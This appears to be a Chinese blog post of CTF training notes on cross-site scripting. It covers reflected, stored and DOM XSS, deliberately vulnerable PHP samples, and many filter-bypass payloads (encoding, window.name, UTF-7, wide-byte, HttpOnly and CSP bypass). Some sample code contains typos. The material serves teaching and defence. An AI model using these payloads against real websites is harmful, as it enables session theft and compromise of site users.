《CTF特训营》——跨站脚本攻击(XSS)
一、基本介绍
跨站脚本攻击简称XSS,是一种网站应用程序漏洞,是代码注入漏洞的一种,攻击者可以通过这个漏洞向网页中注入恶意代码,导致用户浏览器加载网页、渲染HTML文档时执行攻击者代码。
二、分类
1.成因分类
反射型XSS,存储型XSS,DOM型XSS
2.输出点分类
输出在HTML属性中,输出在CSS代码中,输出在JavaScript中
三、介绍
1.反射型XSS漏洞
XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在响应内容中返回输入的XSS代码,最终在浏览器解释器执行,原型如下:
<?php
echo 'your input:' . $_GET[' input '];
?>
客户端输入的input值未经过任何过滤便直接输出,所以攻击者可以提交
http://csdn.com/xss.php?input=<script>alter(/xss/)</script>
在服务端对客户端输入的内容进行解析后,echo语句会将客户端输入的代码完整地输出到HTTP响应中,浏览器解析并执行。
2.存储型XSS漏洞
在于提交的XSS代码是否会存储在服务端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS典型应用有留言板,在线聊天室,邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储与数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有的留言并输出在HTTP响应中,原型如下:
<html>
<head><title>GuestBook v1.0</title><meta charset="utf-8">
</head>
<body>
<form method = "post">昵称:<input type="text" name="nickname"><br>内容:<textarea name="content"></textarea><br><input type="submin" name="submit" value="提交留言">
</form>
<hr>
<?php>$conn = mysql_connect("localhost","root","root");if (! $conn) {die('could not connect: ' . mysql_error());}mysql_select_db("guestbook",$conn);if (isset($_POST['submit'])) {$nickname = $_POST['nickname'];$content = $_POST['content'];mysql_query("INSERT INTO guestbook (nickname,content) VALUES ('Snickname', '$content')");}$result = mysql_query("SELECT * FROM guestbook");while(&row = mysql_fetch_array($result)) {echo $ row['nickname'] . ":" . $row['content'] . '<br>';}mysql_close($conn);?>
</body>
</html>
攻击者提交留言<script>alter(/xss/)</script>后,服务端存储留言,其他用户访问网页时执行恶意代码。
3.DOM型XSS漏洞
DOM XSS的XSS代码不需要在服务端解析响应的直接参与,触发XSS的是浏览器的DOM解析,原型如下:
<html>
<head><title>DOM XSS</title><meta charset="utf-8">
</head>
<body><div id="area"></div><script>document.getElementByID("area").innerHTML = unescape(location.hash);</script>
</body>
</html>
代码中服务端未作任何操作,而客户端得javascript代码动态地将location.hash赋给:
document.getElementByID("area").innerHTML
导致了这个DOM XSS,使用方法如下:
http://csdn.com/dom.html#<img src=x οnerrοr='alter(/xss/)'>
4.输出在HTML标签中
原型如下:
<input name="user" values="{{your input}}"/>
XSS得payload输出在HTML属性中时,攻击者需要闭合相应得HTML属性后注入新的属性,或者在闭合标签后直接注入标签,如输入:
" onclick="alert(/xss/)
闭合前面得value属性,注入新的得onclick属性,则会输出:
<input name = "user" value="" onclick="alert(/xss/)"/>
或者输入
"><script>alert(/xss/)</script>
直接闭合input标签,注入新的script标签,则会输出:
<input name="user" value=""><script>alert(/xss/)</script/>"/>
5.输出在CSS代码中
原型如下:
<style tpye="text/css">body {color: {{your input}};
}</style>
XSS攻击payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码,如输入:
#000;background-image: url('javascript:alert(/xss/)')
闭合前面的color属性,注入background-image属性,则会输出:
<style tpye="text/css">
body {color: #000; background-image: url('javascript:alert(/xss/)');
}
</style>
6.输出在Javascript代码中
原型如下:
<script>var name='{{your input}}';
</script>
XSS攻击payload输出在javascript代码中时,攻击者需要闭合相应的javascript代码,如输入:
'+alert(/xss/)+'
闭合前面的单引号,注入攻击代码,则会输出:
<script>
var name=''+alert(/xss/)++'';
</script>
四、防护与绕过
1.特定标签过滤
部分开发者认为过滤掉危险标签:script、iframe等就会到时脚本无法执行,其实任何一种标签,无论是否合法,都可以构造处XSS代码,比如:
<not_real_tag onclick="alert(/xss/)">click me</not_real_tag>
如果输出点HTML标签的属性中或在JavaScript代码中,那么攻击者可以简单地闭合,拼接属性或JavaScript代码而不需要引入任何新标签可以执行XSS代码。
同时,HTML5也带来了部分新的标签,容易被开发者忽略,比如video标签。
<video><source onerroe="alert(/xss/)">
2.事件过滤
很多时候,开发者会过滤掉许多HTML标签的事件属性,这时需要对所有可利用的时间属性进行遍历。
还有一些标签属性本身不属于事件属性,但是可以用于执行JavaScript代码,比如JavaScript伪协议。
<a herf="javascript:alert(/xss/)">click me</a>
HTML5也带来了一些新的属性,可以用于对时间过滤进行绕过操作,例如:
1.<details open ontoggle="alert(/xss/)">
2.<from><button formaction="javascript:alert(/x/)">x</button>
....
3.敏感关键字(字符)过滤
关键字过滤大部分是针对敏感变量或者函数而进行的,如:cookie、eval等。这部分的过滤可以通过字符串的拼接、编码解码等方法绕过。
①字符串拼接与混淆
JavaScript中的对象方法可通过数组的方式进行调用,如调用alter函数,可以使用如下方式:
window['alert'](/xss/);
可以看到,数组下标是想调用函数名字的字符串,既然是字符串,那么自然就可以通过拼接方式进行混淆,代码如下:
window['al'+'ert'](/xss/)
还可以使用JavaScript自带的base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码base64字符串,atob函数可以将base64字符串还原,这时利用如下代码也可以实现alter(/xss/)相同的效果。
window[atob("YWx1"+"cnQ")](/xss/)
②编码解码
基于字符串的代码混淆不仅可以通过字符拼接的方式来实现,还可以通过各种编码、解码来实现。XSS漏洞常用的编码方式如下:
HTML进制编码:10,16进制
CSS进制编码:兼容HTML中的进制表现,10,16进制
JavaScript进制编码:8,16进制,unicode编码,ASCII
URL编码
JSFuck编码
③location.*、window.name
既然开发者会对输入的敏感关键字进行过滤,那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分,如:location.*、window.name等处。
location.*的构造如下:
http://csdn.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location hash)
>#<img src=x onerror=alert(/xss/)>
Window.name构造如下:
<iframe src="http://csdn.com/xss.php?input=%3Cinput%20onfous=location=window.name
%3E" name="javascript:alert(/xss/)"></ifname>
利用location对象结合字符串编码可以绕过很多基于关键字的过滤,也有一部分关键字过滤是针对敏感符号的过滤,如括号、空格、小数点等。
④过滤“.”
在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对“.”的过滤:
with(document)alert(cookie);
⑤过滤“()”
在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对“()”的过滤:
window.onerror=alert;throw 1;
⑥过滤空格
在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤:
http://csdn.com/xss.php?input=<img%0asrc=x%0aonerro=alert(/xss/)>
在标签名称和第一个属性间也可以使用“/”代替空格:
<input/onfocus=alert(/xss/)>
⑦svg标签
svg内部的标签和语句遵循规则是直接继承自XML而不是HTML,区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符(比如实体编码):
http"//csdn.com/xss.php?input=1"><svg><script>alter%26%23x28;1%26%23x29
</script></svg>
4.字符集编码导致的绕过
①古老的UTF-7与US-ASCII
在没有通过Content-Type或者meta标签设置字符集时,如果IE的编码设置为自动检测,那么它会根据一些BOM字符来判断当前的字符集(现在已经不适用):
<html>
<head><title>UTF-7</title></head>
<body>+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-
</body>
</html>
另外一种情况就是,虽然IE没有勾选自动检测字符集的设置,但可以通过制作一个字符集为UTF-7的页面,并使用iframe标签来调用目标页面,利用字符集继承漏洞来实现字符集的设定,如:
<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://csdn.com/xss.php?input=%2BADw-script%2BAD4-alter(/xss/)%2BADw-
%2Fscript%2BAD4-'></iframe>
但是这种基于iframe的跨域字符集继承漏洞已被修复,当前的情况是:继承的大前提是必须同域。
如果输出点是在title标签之内,meta标签之前,且字符集是由meta标签所指定的,那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞,原型如下:
<html><head><title>{{your input}}</title><meta http-equiv="content-type" content="text/html;charset=UTF-8"></head>
</html>
在title标签中注入如下代码:
</title><meta charset="utf-7">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-:
最终可以构造处:
<html><head><title></title><meta charset="utf-7">+ADw-script+AD4-alert(1)+ADw-/script
+AD4-<title><meta http-equiv="content-type" content="text/html;charset=UTF-8"><head>
</html>
基于US-ACSCII字符集合的XSS漏洞与基于UTF-7的XSS漏洞很相似,代码如下:
<html><head><meta http-equiv="content=type" content="text/html;charset=us=ascii"></head><body>シscriprpt セ alert(1) シ/script セ</body>
</html>
②宽字节
考虑如下代码:
<html><head><title>XSS</title><meta charset="gb2312">
</head>
<body><script>var q="<?php echo str_replace('</','<\/',addslashes($_GET['input']));?>";</script></body>
</html>
这段代码通过str_replace和addslashes对输入进行过滤,而这里可以使用宽字节进行绕过,payload如下:
http://csdn.com/xss.php?input=%d5%22;alert(1);//
5.长度限制
部分输入点会限制输入字符的数量,这时就需要使XSS代码尽量短小
①window.name和location.*
window.name和location.*都可以通过将代码放置在别处以减小输入点代码量,如:
<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfoucus=eval(window.name)
%3E"name="alert(/xss/)"><iframe>
②第三方库工厂函数
诸如jQuery等等三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的“$()”,它会自动构造标签,并且执行其中的代码:
<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfocus=$(window.name)
%3E"name="<img scr='x' onerror=alert(/xss/) />"/>
③注释
在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了,如下所示:
stage 1:<script>/*
stage 2:*/alert(1)/*
stage 3:*/</script>
6.HttpOnly绕过
这是一个cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到cookie,但即使设置了httponly属性,也仍有方法获取到cookie值。
①CVE-2012-0053
Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053:攻击者可以通过向网站植入超大的cookie,令其HTTP头超过Apache的最大请求长度(4192字节),使得Apache返回400错误,状态页中包含了HttpOnly保护的cookie。
②PHPINFO页面
无论是否设置HttpOnly属性,phpinfo()函数都会输出当前请求上下文的cookie信息。如果目标网站存在phpinfo页面,就可以通过XMLHttpRequest请求该页面获取cookie信息。
③Flash/Java
安全团队seckb在2012年提出,通过Flash、Java的一些API可以获取到HttpOnly cookie,这种情况可以归结为客户端信息泄露。
7.XSS Auditor绕过
反射型XSS漏洞作为一种最容易发现和挖掘的XSS漏洞,但是由于XSS Auditor的出现,使反射型XSS漏洞的作用被逐步弱化,XSS Auditor通过检查输入的内容判断该内容是否在输出中出现,如果符合XSS Auditor的过滤条件,则会直接阻止脚本执行。
8.内容安全策略(CSP)绕过
CSP是目前最主要的web安全保护机制之一,这个功能可以有效地帮助开发着降低网站遭受XSS漏洞攻击的可能性,开发者可以创建并强制部署一些安全管理规则,规定网站可以获取或者加载的内容。
CSP以白名单的机制来管理网站要加载或者执行的资源,在网页中,这样的策略是通过HTTP头信息或者meta标签来定义的,虽然这个策略可以防止攻击者从外部网站跨站加载恶意代码,但是CSP是不能防止数据泄露的。
《CTF特训营》——跨站脚本攻击(XSS)相关推荐
- 跨站脚本攻击XSS:为什么cookie中有httpOnly属性
跨站脚本攻击XSS:为什么cookie中有httpOnly属性 通过上篇文章的介绍,我们知道了同源策略可以隔离各个站点之间的 DOM 交互.页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是 ...
- 跨站脚本攻击—XSS
XSS 介绍 XSS 是跨站脚本攻击(Cross Site Scripting)的简写,但是从首写字母命名的方式来看,应该取名 CSS,但这样就和层叠样式表(Cascading Style Sheet ...
- 「第三章」跨站脚本攻击(XSS)
批注[--] 表示他人.自己.网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL ...
- 跨站脚本攻击(XSS)FAQ
原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...
- [Web安全之实战] 跨站脚本攻击XSS
文章Points: 1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了. ...
- 跨站脚本攻击XSS(最全最细致的靶场实战)
一.XSS跨站漏洞 (1)XSS简介 网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...
- 跨站请求伪造(CSRF)+ 跨站脚本攻击(XSS)
一.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 X ...
- 跨站脚本攻击(XSS)详解
XSS简介 XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 一开始, ...
- 网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...
- 跨站脚本攻击 XSS原理
个人对XSS攻击的笔记 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加 ...
最新文章
- 人性经不起金钱的考验,何况是黄金 --- 我看电影《黄金兄弟》
- 构建之法第5词作业(12-15章)
- 爆发前的最后按钮 白鹭推HTML5首款生态产品Egret Runtime
- 【机器视觉】 dev_get_window算子
- linux crontab日志,crontab的用法---linux定时任务
- ABAP, Maven, CF App和Webpack的build
- Java秒杀系统实战系列~RabbitMQ死信队列处理超时未支付的订单(转)
- linux 脚本 整数 赋值,shell基础!!熟悉编程规范与变量
- EntLib 3.1学习笔记(2) : Data Access Application Block
- “梧桐杯”中国移动大数据应用创新大赛 - 智慧城市赛道baseline
- Verizon CEO证实公司正考虑出价收购雅虎
- 八重州8900如何解锁_八重贵族怪胎之路
- lpush rpush 区别_Redis系列(六):数据结构List双向链表LPUSH、LPOP、RPUSH、RPOP、LLEN命令...
- mysql 计算农历_SQL农历转换函数
- 基于Java语言的51单片机串口通讯PC机程序
- math_(函数数列)极限的含义误区和符号梳理/邻域去心邻域邻域半径
- [逻辑]-- 25匹马赛跑问题
- 科研用深度学习+有限元工作站的DIY装机配置(预算:5-6万)
- CBInsights 2019金融科技趋势报告:东南亚、拉美成新宠,IPO脚步恐放缓(附全文下载)...
- java集合及遍历器的初步认识
热门文章
- 我以为我很懂Promise,直到我开始实现Promise/A+规范
- moviepy音视频开发专栏文章目录
- 大都会人寿宣布高层领导变更
- 计算机遇到错误无法安装windows,无法安装windows10 - Microsoft Community
- angular7项目中使用Iconfont字体图标库
- 一位程序员的爱情表白(娱乐版)
- c语言正则表达式匹配字符串,C语言的正则表达式 regex
- c语言正则表达式查找字符串长度,c语言实现正则表达式匹配
- 安装vimplus实现c++代码高亮与自动补全功能的若干问题
- 算法系列——迪杰斯特拉算法(Dijkstra)